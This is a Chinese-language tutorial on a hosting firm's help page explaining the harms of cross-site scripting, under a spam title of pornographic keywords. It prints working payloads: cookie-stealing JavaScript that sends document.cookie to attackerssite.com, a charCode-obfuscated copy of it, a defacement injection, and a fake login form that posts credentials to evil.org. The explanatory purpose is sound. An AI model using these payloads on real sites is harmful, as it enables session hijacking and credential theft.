亚洲Aⅴ无码Av红楼在线观看_国产午夜福利涩爱AⅤ_国产sm调教一区二区三区_精品人妻一区二区三区不卡毛片

始創(chuàng)于2000年 股票代碼:831685
咨詢(xún)熱線(xiàn):0371-60135900 注冊(cè)有禮 登錄
  • 掛牌上市企業(yè)
  • 60秒人工響應(yīng)
  • 99.99%連通率
  • 7*24h人工
  • 故障100倍補(bǔ)償
全部產(chǎn)品
您的位置: 網(wǎng)站首頁(yè) > 幫助中心>文章內(nèi)容

跨站腳本攻擊深入解析:跨站危害及cookie盜竊(1)

發(fā)布時(shí)間:  2012/9/14 18:25:46
跨站腳本的名稱(chēng)源自于這樣一個(gè)事實(shí),即一個(gè)Web 站點(diǎn)(或者人)可以把他們的選擇的代碼越過(guò)安全邊界線(xiàn)注射到另一個(gè)不同的、有漏洞的Web 站點(diǎn)中。當(dāng)這些注入的代碼作為目標(biāo)站點(diǎn)的代碼在受害者的瀏覽器中執(zhí)行時(shí),攻擊者就能竊取相應(yīng)的敏感數(shù)據(jù),并強(qiáng)迫用戶(hù)做一些用戶(hù)非本意的事情。

在本文的上篇中,我們?cè)敿?xì)介紹了跨站腳本漏洞利用的過(guò)程,并對(duì)HTML注入進(jìn)行深入分析;而本文將詳細(xì)介紹跨站腳本的危害,以及攻擊者是如何誘騙受害者的;最后介紹針對(duì)跨站腳本攻擊的防御措施。

一、跨站腳本的危害

XSS是一種對(duì)Web應(yīng)用程序的用戶(hù)發(fā)動(dòng)的攻擊,利用它攻擊者能裝扮成被攻擊的用戶(hù)來(lái)完全控制Web應(yīng)用程序,即便Web應(yīng)用程序位于一個(gè)防火墻之后并且攻擊者無(wú)法直接接觸該Web應(yīng)用程序也是如此。XSS一般不會(huì)對(duì)用戶(hù)的機(jī)器造成損害,也不會(huì)對(duì)Web應(yīng)用程序服務(wù)器直接造成破壞。如果成功,攻擊者可以做三種事情:

竊取Cookie

在受害用戶(hù)面前假冒成Web應(yīng)用程序

在Web應(yīng)用程序面前假冒成受害用戶(hù)

二、竊取Cookie

Cookie一般控制著對(duì)Web應(yīng)用程序的訪(fǎng)問(wèn),如果攻擊者偷竊了受害用戶(hù)的Cookie,那么攻擊者就可以使用受害者的Cookie來(lái)完全控制受害者的帳戶(hù)。對(duì)于Cookie來(lái)說(shuō),其最佳實(shí)踐就是讓它在一段時(shí)間后過(guò)期,這樣的話(huà)攻擊者就只能在有限的時(shí)間內(nèi)訪(fǎng)問(wèn)受害者的帳戶(hù)?梢岳孟旅娴拇a來(lái)竊取Cookie:

var x=new Image();x.src='http://attackerssite.com/eatMoreCookies?c='

+document.cookie;

或者像下面這樣:

document.write("〈 img src='http://attackerssite.com/eatMoreCookies"+

"?c="+document.cookie+"'〉");

 

如果某些字符是禁止的,則將其轉(zhuǎn)換為ASCII的十進(jìn)制數(shù),然后使用JavaScript的String.charFromCode()函數(shù)即可。下列JavaScript等價(jià)于前面的JavaScript:

eval(String.charFromCode(118,97,114,32,120,61,110,101,119,32,73,109,

97,103,101,40,41,59,120,46,115,114,99,61,39,104,116,116,112,58,47,47,

97,116,116,97,99,107,101,114,115,115,105,116,101,46,99,111,109,47,

101,97,116,77,111,114,101,67,111,111,107,105,101,115,63,99,61,39,43,

100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59));

三、釣魚(yú)攻擊

通過(guò)假冒Web應(yīng)用程序,攻擊者可以將XSS用于社會(huì)工程。XSS攻擊得手后,攻擊者能夠完全控制Web應(yīng)用程序的外觀。這可用于丑化web,例如攻擊者在頁(yè)面上放置一個(gè)無(wú)聊的圖片。適于打印的常見(jiàn)圖像之一是Stall0wn3d,即你被黑了。

下面是用于這種攻擊的HTML注入字符串:

〈script〉document.body.innerHTML="〈img

src=http://evil.org/stallown3d.jpg〉";〈/script〉.

 

然而,控制Web應(yīng)用程序呈現(xiàn)在受害用戶(hù)面前的外觀比簡(jiǎn)單顯示一些火辣熱圖更為有利,攻擊者可以以此發(fā)動(dòng)釣魚(yú)攻擊:強(qiáng)制用戶(hù)向攻擊者提供機(jī)密信息。利用document.body.innerHTML,可以提供一個(gè)跟有弱點(diǎn)的Web應(yīng)用程序的登錄頁(yè)面外觀完全一樣的登錄頁(yè)面,并且該登錄頁(yè)面來(lái)自那個(gè)被注入HTML的域,但是提交表單時(shí),數(shù)據(jù)卻發(fā)往攻擊者選擇的站點(diǎn)。

因此,當(dāng)受害用戶(hù)輸入他的或者她的用戶(hù)名和口令時(shí),這些信息就會(huì)落入攻擊者手中。代碼如下所示:

document.body.innerHTML="〈 h1 〉Company Login〈 / h1〉〈form

action=http://evil.org/grabPasswords method=get〉

〈p〉User name:〈input type=text name=u〉〈p〉Password〈input type=password

name=p〉〈input type=submit name=login〉〈/form〉";

使用這段代碼的一個(gè)小技巧是通過(guò)一個(gè)GET請(qǐng)求發(fā)送表單。這樣,攻擊者甚至不必編寫(xiě)grabPasswords頁(yè)面,因?yàn)樵撜?qǐng)求將寫(xiě)到Web服務(wù)器的錯(cuò)誤信息日志里,這里的信息可以輕松讀取。

 

四、冒充受害者胡作非為

XSS對(duì)Web應(yīng)用程序最大的影響在于,黑客能夠通過(guò)它假冒成Web應(yīng)用程序的合法用戶(hù)。下面是一些攻擊者能夠?qū)eb應(yīng)用程序做的一些事情:
在一個(gè)webmail應(yīng)用程序中,攻擊者可以:

以用戶(hù)的名義發(fā)送電子郵件

獲取用戶(hù)的聯(lián)系人名單

更改自動(dòng)BCC屬性

更改隱私/日志記錄設(shè)置

在基于 Web 的即時(shí)通訊或聊天軟件中,攻擊者可以:

獲取聯(lián)系人名單

向聯(lián)系人發(fā)送消息

添加/刪除聯(lián)系人

在一個(gè)基于 Web 的網(wǎng)絡(luò)銀行或金融系統(tǒng)中,攻擊者能夠:

劃拔資金

申請(qǐng)信用卡

更改地址

在電子商務(wù)系統(tǒng)上,攻擊者能夠:

購(gòu)買(mǎi)商品

每當(dāng)分析XSS對(duì)站點(diǎn)的影響時(shí),想一想如果他控制了受害者的鼠標(biāo)和鍵盤(pán)能干什么就行了。考慮一下受害者的內(nèi)部網(wǎng)中的受害者的計(jì)算機(jī)能做哪些壞事。要想假冒成用戶(hù),攻擊者需要弄清Web應(yīng)用程序是如何工作的。有時(shí)候,可以通過(guò)閱讀頁(yè)面源代碼來(lái)達(dá)此目的,但是最好的方法是使用一個(gè)Web代理,例如Burp Suite、WebScarab或者Paros Proxy等。

這些web 代理會(huì)攔截往返于Web 瀏覽器和Web服務(wù)器之間的所有通信數(shù)據(jù),甚至包括通過(guò)HTTPS傳輸?shù)牧髁。您可以記錄這些會(huì)話(huà)以弄明白Web應(yīng)用程序是向服務(wù)器發(fā)送回?cái)?shù)據(jù)的。 這對(duì)于弄清楚如何假冒成該應(yīng)用程序非常有幫助,此外,web 代理對(duì)于發(fā)現(xiàn)XSS及其他Web應(yīng)用程序漏洞也有極大的幫助。
如果有需要服務(wù)器的租用與托管的敬請(qǐng)聯(lián)系QQ:1501281758(億恩星辰)   聯(lián)系電話(huà):0371—63322220


本文出自:億恩科技【www.allwellnessguide.com】

服務(wù)器租用/服務(wù)器托管中國(guó)五強(qiáng)!虛擬主機(jī)域名注冊(cè)頂級(jí)提供商!15年品質(zhì)保障!--億恩科技[ENKJ.COM]

  • 您可能在找
  • 億恩北京公司:
  • 經(jīng)營(yíng)性ICP/ISP證:京B2-20150015
  • 億恩鄭州公司:
  • 經(jīng)營(yíng)性ICP/ISP/IDC證:豫B1.B2-20060070
  • 億恩南昌公司:
  • 經(jīng)營(yíng)性ICP/ISP證:贛B2-20080012
  • 服務(wù)器/云主機(jī) 24小時(shí)售后服務(wù)電話(huà):0371-60135900
  • 虛擬主機(jī)/智能建站 24小時(shí)售后服務(wù)電話(huà):0371-60135900
  • 專(zhuān)注服務(wù)器托管17年
    掃掃關(guān)注-微信公眾號(hào)
    0371-60135900
    Copyright© 1999-2019 ENKJ All Rights Reserved 億恩科技 版權(quán)所有  地址:鄭州市高新區(qū)翠竹街1號(hào)總部企業(yè)基地億恩大廈  法律顧問(wèn):河南亞太人律師事務(wù)所郝建鋒、杜慧月律師   京公網(wǎng)安備41019702002023號(hào)
      0
     
     
     
     

    0371-60135900
    7*24小時(shí)客服服務(wù)熱線(xiàn)